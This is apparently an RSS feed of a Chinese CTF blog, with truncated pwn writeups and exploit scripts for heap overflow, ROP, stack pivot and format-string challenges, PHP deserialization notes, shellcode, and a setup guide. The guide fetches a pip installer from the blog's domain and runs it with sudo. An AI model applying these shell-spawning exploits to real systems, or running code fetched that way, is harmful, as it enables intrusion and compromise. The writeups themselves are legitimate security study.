EDS
type: channel
link: http://www.ericdshen.com/
description: EDS blog
items: polarctf 2025年夏季个人挑战赛
items: php反序列化学习笔记
items: Moectf2024开发与运维基础writeup
items: Moectf2024-writeup
items: 强网杯2019 拟态 STKOF
items: ctfshow 吃鸡杯 pwn writeup
items: CTFSHOW月饼杯2021 pwn wp
items: 快速搭建一个pwn环境 python2
items: ctfshow 36d pwn wp
items: CTF SHOW 1024杯 PWN writeup

polarctf 2025年夏季个人挑战赛
type: item
date: 2025-06-07T13:20:00+08:00
description: 2025年夏季个人挑战赛pwnmagichouse经典堆题。主函数int __fastcall main(int argc, const char **argv, const char **envp) { void (**v4)(void); // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); v4 = malloc(0x10uLL); *v4 = hello_message; v4[1] = goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: show_gift(); break; case 2: add_gift(); break; case 3: change_gift(); break; case 4: remove_gift(); break; case 5: v4[1](); exit(0); default: puts("invaild choice!!!"); break; } } }编辑函数存在堆溢出,编辑时可以输入任意长度字符串。unsigned __int64 change_gift() { int v1; // [rsp+4h] [rbp-2Ch] int v2; // [rsp+8h] [rbp-28h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF char nptr[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of gift:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( *(&unk_6020C8 + 2 * v1) ) { printf("Please enter the length of gift name:"); read(0, nptr, 8uLL); v2 = atoi(nptr); printf("Please enter the new name of the gift:"); *(*(&unk_6020C8 + 2 * v1) + read(0, *(&unk_6020C8 + 2 * v1), v2)) = 0; //漏洞点 } else { puts("invaild index"); } } else { puts("No gift in the house"); } return __readfsqword(0x28u) ^ v5; }通过溢出修改fastbin的fd实现任意地址写，本题目pie没开，可以直接写到堆块地址管理区。add(0x68,'aaaa') add(0x68,'bbbb') add(0x68,'/bin/sh\x00') free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad)) add(0x68,'dddd') 修改堆块地址到got表泄露libc。add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts'])) show()修改__free_hook为system地址，free一个/bin/sh字符串rce。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./magichouse') #gdb.attach(r,"b * 0x40138a") gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2114) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./magic…

php反序列化学习笔记
type: item
date: 2024-11-01T17:27:00+08:00
description: php反序列化PHP的类 类的内部类的子部类的外部public√√√protected√√×private√××<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; } $qng = new person(); echo $qng->name; //ok echo $qng->age; //no echo $qng->password //no ?>PHP序列化单类型null : N; 666 : i:666; 66.6 : d:66.6; true : b:1; false: b:0; "qng": s:3:"qng";数组<?php $qng2 = array("aaaa","bbbb","cccc"); echo serialize($qng2); ?>结果a(array):3(数量):{i:0(索引);s:4:"aaaa";i:1;s:4:"bbbb";i:2;s:4:"cccc";}对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } $qng = new person(); $qng->name = "qng"; echo serialize($qng); ?>结果O:6(类名长度):"person":3(成员数量):{s:4:"name";s:3:"qng";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}private属性修饰符为 %00类名%00protected 属性修饰符为 %00*%00对象成员为对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } class xhc{ var $me ; function __construct(){ $this-> me=new person(); } } $qng = new xhc(); $qng->name = "qng"; echo serialize($qng); ?>结果O:3:"xhc":2:{s:2:"me";O:6:"person":3:{s:4:"name";s:1:"a";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}s:4:"name";s:3:"qng";}如果对象属性为对象，在序列化中，该属性内容为对应对象的反序列化。魔术方法__construct()构造函数，在实例化一个对象的时候，首先会去自动执行的一个方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __construct(){ echo $this->name; } } $qng = new person(); //可触发__construct $qng->name = "qng"; $qngser = serialize($qng); //不可触发__construct $qngunser = unserialize($qngser); //不可触发__construct ?>__destruct()析构函数，在对象的所引用被删除或者当对象被显示销毁时执行的魔术方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __destruct(){ echo $this->name; } } $qng = new person(); //单独不可触发__destruct $qng->name = "qng"; $qngser = serialize($qng); //可将上一个触发__destruct $qngunser = unserialize($qngser); //可触发__destruct ?>得到结果qngqng__sle…

Moectf2024开发与运维基础writeup
type: item
date: 2024-10-23T15:17:00+08:00
description: 开发与运维基础哦不！我的libc！题目说环境没有libc，那就需要一个不需要libc就能执行的可执行文件，用纯汇编写一段orw。 # 将/flag.txt字符串写入栈并将地址保存到r11寄存器 mov r10,0x74; push r10; mov r10,0x78742E67616C662f; push r10; mov r11,rsp; # 构造sys_open 打开/flag.txt sub rsp,0x100; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; # 构造sys_read 读取/flag.txt mov rdi,rax; mov rsi,rsp; mov rdx,0x80; xor rax,rax; syscall; # 构造sys_write 输出/flag.txt mov rdi,1; mov rax,rdi; syscall;生成的shellcodeOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 49 C7 C2 74 00 00 00 41 52 49 BA 2F 66 6C 61 67 00000010 2E 74 78 41 52 49 89 E3 48 81 EC 00 01 00 00 48 00000020 C7 C0 02 00 00 00 4C 89 DF 48 31 F6 48 89 F2 0F 00000030 05 48 89 C7 48 89 E6 48 C7 C2 80 00 00 00 48 31 00000040 C0 0F 05 48 C7 C7 01 00 00 00 48 89 F8 0F 05 发现用什么工具编译都不能弄出不依赖libc的东西，静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍，一般只有250b，用ida打开发现都是纯纯大汇编。利用winhex将入口（0x78处）的shellcode换成我们的。覆写完的文件hexOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF 00000010 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 > x @ 00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ 00000030 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00 @ 8 00000040 01 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00000050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 @ @ 00000060 FA 00 00 00 00 00 00 00 7C 01 00 00 00 00 00 00 ? | 00000070 00 10 00 00 00 00 00 00 49 C7 C2 74 00 00 00 41 I锹t A 00000080 52 49 BA 2F 66 6C 61 67 2E 74 78 41 52 49 89 E3 RI?flag.txARI夈 00000090 48 81 EC 00 01 00 00 48 C7 C0 02 00 00 00 4C 89 H ? H抢 L? 000000A0 DF 48 31 F6 48 89 F2 0F 05 48 89 C7 48 89 E6 48 逪1鯤夠 H壡H夋H 000000B0 C7 C2 80 00 00 00 48 31 C0 0F 05 48 C7 C7 01 00 锹€ H1? H乔 000000C0 00 00 48 89 F8 0F 05 25 49 FF C9 74 18 57 6A 23 H夬 %I蓆 Wj# 000000D0 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F Xj j H夌H1? YY_ 000000E0 48 85 C0 79 C7 6A 3C 58 6A 01 5F 0F 05 5E 6A 7E H吚y莏<Xj _ ^j~ 000000F0 5A 0F 05 48 85 C0 78 ED FF E6 Z H吚x??由于我们直接写入的文件没有可执行权限，chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用pr…

Moectf2024-writeup
type: item
date: 2024-08-17T22:40:00+08:00
description: Moectfwppwn比赛方提供的工具开放的端口并不对外，需要用frp做个端口转发再用虚拟机的pwntools链接frps.ini[common] bind_port = 7000frpc.ini[common] server_addr = 127.0.0.1 server_port = 7000 type = tcp local_ip=127.0.0.1 local_port = 7818 #目标端口 custom_domains = 127.0.0.1 remote_port = 1212 #本地映射二进制漏洞审计入门指北nc链接直接出nc 192.168.248.1 1212 Hey, how did you get here? I've been waiting so long, for anyone... To honor your courage, I decided to give you a flag. But next time, it won't be so easy. moectf{Welcome_to_the_journey_of_Pwn} Good luck. By the way, netcat is not a cat!flag_helper# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) # 选玩游戏，别的选项都是耍你 print(r.recvuntil(">")) r.sendline("4") # 读flag print(r.recvuntil(">")) r.sendline("/flag") # 读属性是4 print(r.recvuntil(">")) r.sendline("4") # 不知道为啥777不行，疑似是啥玩意的保护 print(r.recvuntil(">")) r.sendline("766") # 开一块空间 print(r.recvuntil(">")) r.sendline("7777") # 除了flag还读了4个没有用的东西，0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的 print(r.recvuntil(">")) r.sendline("5") r.interactive()NotEnoughTime前面两个是固定的，后边截取=之前的，把中间的\n去掉，eval完还回去。# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) elf = ELF('./format') r.recvuntil("=") r.sendline('2') r.recvuntil("=") r.sendline('0') r.recvuntil("\n") for i in range(20): s = "".join(r.recvuntil("=",drop=True).split("\n")) print(s) calcs = eval(s) print(calcs) r.sendline(str(calcs)) r.interactive()no_more_getsmain()函数的gets()函数存在暴力栈溢出，直接暴力栈溢出跳到后门处int __cdecl main(int argc, const char **argv, const char **envp) { char s1[80]; // [rsp+0h] [rbp-A0h] BYREF char s2[80]; // [rsp+50h] [rbp-50h] BYREF init(argc, argv, envp); arc4random_buf(s1, 80LL); write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL); gets(s2); if ( !strncmp(s1, s2, 0x50uLL) ) my_shell(); else write(1, "Password wrong!\n", 0x11uLL); return 0; }exp# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./lockedshell') #gdb.attach(r,"b * 0x8049F9C") gdb.attach(r,"b * 0x40129E") else: r = remote('192…

强网杯2019 拟态 STKOF
type: item
date: 2021-12-08T15:02:00+08:00
description: 强网杯2019 拟态 STKOF之前一直被这道题的拟态吓唬住，深知web的拟态有多恶心，就一直没有鼓起勇气去做这个题。这道题在buu中没有难度，只要任意一个程序打通了就能getshell。静态分析。两个程序是用一段源代码分别用32位和64位编译的静态程序，反编译的伪c代码是一样的。main函数int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rdx puts("Welcome to QWB", argv, envp); puts("We give you a little challenge, try to pwn it?", argv, v3); vul(); return 0; }vul函数__int64 vul() { __int64 v0; // rdx char buf[272]; // [rsp+0h] [rbp-110h] BYREF setbuf(stdin, 0LL); setbuf(stdout, 0LL); j_memset_ifunc(buf, 0LL, 256LL); read(0, buf, 0x300uLL); return puts(buf, buf, v0); }该程序存在栈溢出有着丰富的空间去构造各种ROP，而且两个程序的溢出点是一样的。动态分析。在这里简单的说一下拟态防护的原理。两个能够运行一样功能，但内部构造不同的程序，接受同一段数据流，并要求两个程序的返回结果是一样的才能输出返回结果，如果不一样则报错退出。但这里很明显两个程序基地址都是不一样的，一样的ROP链在这里肯定是行不通的，所以要将两条ROP链分开执行。分开执行就要找到这两个程序在执行时不同的地方。首先32位程序的一个地址为4字节，而64位的一个地址为8字节，我们可以通过这个原理来将两条ROP链分开，达到一条ROP链分开执行的效果。如图所示。根据图片看出，32位的返回地址是64位的rbp内的一部分。可以通过这个将rsp/esp跳到栈不同的位置来执行不同的ROP。先利用ROP_gadget寻找一下add rsp/esp,xx;ret的地址。0x000000000044a699 : add rsp, 0x148 ; ret 0x0000000000414ef8 : add rsp, 0x18 ; ret 0x000000000043b749 : add rsp, 0x28 ; ret 0x0000000000461f85 : add rsp, 0x38 ; ret 0x000000000046d438 : add rsp, 0x48 ; ret 0x000000000043b979 : add rsp, 0x58 ; ret 0x000000000043b86b : add rsp, 0x68 ; ret 0x0000000000461d30 : add rsp, 0x78 ; ret 0x000000000040cd17 : add rsp, 0x80 ; ret 0x00000000004079d4 : add rsp, 0xd8 ; ret 0x0000000000400412 : add rsp, 8 ; ret0x080a8f66 : add esp, 0x10 ; add esp, 0xc ; ret 0x0804f095 : add esp, 0x1c ; ret 0x080a69f2 : add esp, 0x20 ; ret 0x0804991a : add esp, 0x2c ; ret 0x080a8f69 : add esp, 0xc ; ret跳往不同栈地点的地址都已经找到，找一些跨度大的地址，将不同的ROP隔开，剩下的就是简单去构造各种getshell的ROP链。exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r=process('./pwn32') gdb.attach(r,"b * 0x0804892E") elif local == 2: r=process('./pwn64') gdb.attach(r,"b * 0x400B32") else: r = remote('node4.buuoj.cn',26028) libc = ELF('./libc-2.23.so') elf32=ELF('./pwn32') elf64=ELF('./pwn64') addrspd8 = 0x4079d4 movrdxrax = 0x40e9e7 movrdirdx = 0x…

ctfshow 吃鸡杯 pwn writeup
type: item
date: 2021-09-28T16:58:57+08:00
description: ctfshow 吃鸡杯 pwn writeupwin_pwn这道题严格意义来说是一道逆向题。main()存在栈溢出int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char v4; // [esp+16h] [ebp-AAh] char v5; // [esp+BFh] [ebp-1h] __main(); v5 = 1; puts("Please input your name:"); fflush(&__iob[1]); scanf("%s", &v4); if ( v5 ) result = printf("Your level is not admin"); else result = DangerFunc(&v4); if ( argc != 1 ) exit(0); return result; }如果v5里边有内容，则退出。程序在开始时v5=1，所以必须通过溢出覆盖掉v5才能执行DangerFunc()函数。int __cdecl DangerFunc(char *a1) { int v2; // [esp+18h] [ebp-30h] getflag(a1, (int)&v2); puts("###########################################################################"); puts("###########################################################################"); printf("\t\tflag{%s}\t\t\t\n", &v2); puts("###########################################################################"); puts("###########################################################################"); fflush(&__iob[1]); return system("c:\\Windows\\System32\\cmd.exe"); }DangerFunc()内的getflag()要求其第一个参数内的前168位不能为0。int __cdecl getflag(char *a1, int a2) { size_t v2; // eax int v3; // eax int result; // eax int v5; // [esp+10h] [ebp-88h] char v6; // [esp+68h] [ebp-30h] char v7[32]; // [esp+6Ch] [ebp-2Ch] int i; // [esp+8Ch] [ebp-Ch] for ( i = 0; i <= 168; ++i ) { if ( !a1[i] ) { puts("Do not input '\\0'!"); exit(0); } } v2 = strlen(a1); itoa(v2 + 16, &v6, 10); MD5Init(&v5); v3 = strlen(&v6); MD5Update((int)&v5, &v6, v3); result = MD5Final(&v5, v7); for ( i = 0; i <= 15; ++i ) result = sprintf((char *)(2 * i + a2), "%02x", (unsigned __int8)v7[i]); return result; }所以该题解题方法为输入大量的垃圾字符，在0x0402473处下断点，将esp+0xBF内的内容改为0即可获得flag。easy_canarymain()函数里面的rand()的seed固定是0，所以其生成的随机数也是固定的，达成条件后进入something。int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+4h] [rbp-Ch] unsigned int seed; // [rsp+8h] [rbp-8h] int v6; // [rsp+Ch] [rbp-4h] menu(*&argc, argv, envp); seed = 0; v4 = 0; srand(0); v6 = 0; puts("input your lucky number:")…

CTFSHOW月饼杯2021 pwn wp
type: item
date: 2021-09-26T10:32:53+08:00
description: CTFSHOW月饼杯2021 pwn wp简单的胖main()函数中有明显的栈溢出漏洞，但是该题难点在于目标环境是libc2.27，新版本libc2.27如果printf()堆栈不平衡会报错，setvbuf()函数重复初始化stdin和stdout也会报错。int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[28]; // [rsp+0h] [rbp-20h] int v6; // [rsp+1Ch] [rbp-4h] setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("What's your name? ", 0LL); v3 = read(0, buf, 0x100uLL); v6 = v3; buf[v3 - 1] = 0; printf("Welcome to the CTFshow Moon cake cup! %s!\n", buf); return 0; }所有栈溢出后需要跳过setvbuf()并利用call printf，来调用printf()函数泄露libc，由于该程序利用rbp来寻找栈，还需要将栈迁移到bss段上。再栈迁移后，堆栈平衡已经炸了，但是bss段上到处都是0，可以利用one_gadget来getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./pwn01') gdb.attach(r,"b * 0x400690") else: r = remote('pwn.challenge.ctf.show',28036) elf=ELF('./pwn01') rdi = 0x400703 callpritf = 0x400647 r.sendline(cyclic(0x20)+p64(0x00601300)+p64(rdi)+p64(elf.got['__libc_start_main'])+p64(callpritf)) r.recvuntil('gaaa') r.recv(3) lsmr = u64(r.recv(6)+'\x00\x00') log.success('lsmr:'+hex(lsmr)) libc_addr = lsmr - 0x021ab0 system = libc_addr + 0x04f440 binsh = libc_addr + 0x1b3e9a ogg = libc_addr + 0x4f322 r.sendline(cyclic(0x20)+p64(0xdeadbeef)+p64(ogg)) r.interactive()容易的胖main()函数开始让你输入一段shellcode。然后第二次输入需要触发strcmp(&s, "yes\n")才能避免exit()。int __cdecl main(int a1) { char s; // [esp+0h] [ebp-18h] int *v3; // [esp+10h] [ebp-8h] v3 = &a1; sub_80485A6(); memset(&s, 0, 0x10u); memset(::s, 0, 0x100u); puts("Input your shellcode"); fgets(::s, 256, stdin); puts("Do you know how to use shellcode????"); read(0, &s, 0x14u); if ( strcmp(&s, "yes\n") ) { puts("you may be need learn it"); exit(0); } puts("ok,good"); return 0; }由于i386的main()函数平栈方式为外平栈模式，其ret的方式与内平栈有一些区别。.text:080486F7 pop ecx .text:080486F8 pop ebx .text:080486F9 pop ebp .text:080486FA lea esp, [ecx-4] .text:080486FD retn这里控制ecx就可以控制程序走向。只需要让ecx+4存储的地址为可控的地址，然后在该地址存储想要跳到的地址，即可控制执行流，刚巧shellcode所在的地方为全局变量，地址固定，所以构造shellcode前面加上shellcode+4的地址，…

快速搭建一个pwn环境 python2
type: item
date: 2021-06-15T10:23:56+08:00
description: 快速搭建一个pwn环境 python2由于新版pwntools默认对接的是py3，但是大多数师傅还是习惯用py2来编写exp。而且py2和py3有着较大差异、脚本不能互通，且主流写法仍然是py2的语法。本教程不适用于ubuntu18，快速安装会导致libc2.27更新，添加double free检测，导致堆环境偏差过大，该版本建议找已经搭好了的师傅索要一份。更换国内源在ubuntu内搜索software & update,在源中找到other选项，找到国内源，挑一个自己喜欢的。之后执行。sudo apt-get update sudo apt update安装基础环境sudo apt-get install lib32z1 lib32ncurses5 git sudo apt-get install -y libffi-dev libssl-dev sudo apt install python #新版本ubuntu可能不会集成py2，而且不能通过python-dev来获取安装pip2pip2不在apt库内，只能手动安装。get-2.7.pipcurl http://www.ericdshen.com/2.7get-pip.py >2.7get-pip.py sudo python 2.7get-pip.py安装pwntoolspython -m pip install -U setuptools -i https://pypi.tuna.tsinghua.edu.cn/simple/ python -m pip install cryptography==2.4.2 -i https://pypi.tuna.tsinghua.edu.cn/simple/ python -m pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/安装pedagit clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit至此一个简单的pwn环境就搭好了，如有其它需求可自行添加。

ctfshow 36d pwn wp
type: item
date: 2020-12-10T13:55:00+08:00
description: 36d pwn wp签到这题环境有问题，nc连上就是shell，但是目标机会丢失空格，任何形式的空格都不行。留一个本地exp。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 0 if local == 1: r=process('./qiandao') #gdb.attach(r,'b * malloc') gdb.attach(r,'b * 0x400662') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28027) #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./qiandao') rdi = 0x4006d3 system = elf.symbols['system'] gets = elf.symbols['gets'] bss = 0x602100 rsi15 = 0x4006d1 r.sendline('a'*(0x28)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system)) r.sendline('/bin/sh') r.interactive()babyFmtstr用ida加载，打开main()函数如下所示。__int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; // rdi char *ptr; // ST08_8 void *v5; // ST10_8 setbuf(stdin, 0LL); v3 = stdout; setbuf(stdout, 0LL); ptr = sub_400D0A(); v5 = sub_400DA0(v3, 0LL); printf("your motto is \"%s\"\n", v5); free(ptr); free(v5); return 0LL; }跟进sub_400D0A()发现存在格式化字符串漏洞。char *sub_400D0A() { char *v0; // ST08_8 char s; // [rsp+10h] [rbp-40h] unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); sleep(0); puts("please input name:"); sub_400BF5(&s, 50LL); v0 = strdup(&s); printf("Hello ", sleep); printf(&s); return v0; }函数执行完事后会进入sub_400DA0()函数内。char *sub_400DA0() { _QWORD *v0; // rax __int64 v2; // [rsp+0h] [rbp-420h] char *v3; // [rsp+8h] [rbp-418h] char s; // [rsp+10h] [rbp-410h] unsigned __int64 v5; // [rsp+418h] [rbp-8h] v5 = __readfsqword(0x28u); puts("please input size of motto:"); v2 = sub_400CA0("please input size of motto:"); if ( v2 < 0 ) v2 = -v2; if ( v2 > 1024 ) v2 = 1024LL; puts("please input motto:"); sub_400BF5(&s, v2); v3 = strdup(&s); if ( sub_400B96(&s, v2) ^ 1 ) { v0 = __cxa_allocate_exception(8LL); *v0 = "The format of motto is error!"; __cxa_throw(v0, &typeinfo for'char const*, 0LL); } return v3; }攻击思路是利用格式化字符串漏洞，修改strdup()函数的GOT为printf()函数的PLT并泄露__libc_start_main_ret，第二次调用strdup()函数时会调用printf()函数，再次利用格式化字符串漏洞修改printf()函数的…

CTF SHOW 1024杯 PWN writeup
type: item
date: 2020-12-02T09:51:07+08:00
description: CTF SHOW 1024杯 PWN writeup难度很友好，萌新i了i了。1024_happy_checkin用ida加载程序，打开main()函数发现存在gets()函数。int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-370h] setvbuf(stdin, 0LL, 1, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("welcome_to_ctfshow_1024_cup,input_your_ticket"); gets(&s, 0LL); puts(&s); return 0; }推测该题为简单的x64程序栈溢出，利用gets()函数覆盖返回地址构造ROP链，exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 0 if local == 1: r=process('./checkin') gdb.attach(r,'b * 0x400672') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28091) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./checkin') main = elf.symbols['main'] puts = elf.symbols['puts'] rdi = 0x4006e3 ret = 0x4004c6 lsm = elf.got['__libc_start_main']\ r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(rdi)+p64(lsm)+p64(puts)+p64(main)) r.recvuntil('36D\n') libc_addr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main'] log.success('libc_addr:'+hex(libc_addr)) system = libc_addr + libc.symbols['system'] binsh = libc_addr + libc.search('/bin/sh').next() log.success('system:'+hex(system)) log.success('/bin/sh:'+hex(binsh)) r.sendline('36D\x00'+cyclic(876)+p64(0xdeadbeef)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(main)) r.interactive()1024_happy_stack利用ida加载程序，发现main()存在gets()函数，但是在程序结束之前要经过ctfshow()函数的检测才能继续执行。main()函数int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-380h] int v5; // [rsp+37Ch] [rbp-4h] setvbuf(stdin, 0LL, 1, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("What kinds of girls do you like?\n"); puts("1.beautiful\n"); puts("2.lovely\n"); puts("3.no no ,I like boys\n"); puts("4.I only love qunzhu\n"); gets(&s, 0LL); v5 = ctfshow(&s); if ( v5 ) { puts("no,u dont\n"); exit(0); } puts("here you are\n"); puts(&s); return 0; }ctfshow()函数为对刚刚输入的字符串进行比较，可利用\x00截断绕过。__int64 __fastcall ctfshow(const char *a1) { return (unsigned int)strcmp(a1, "36D"); }exp…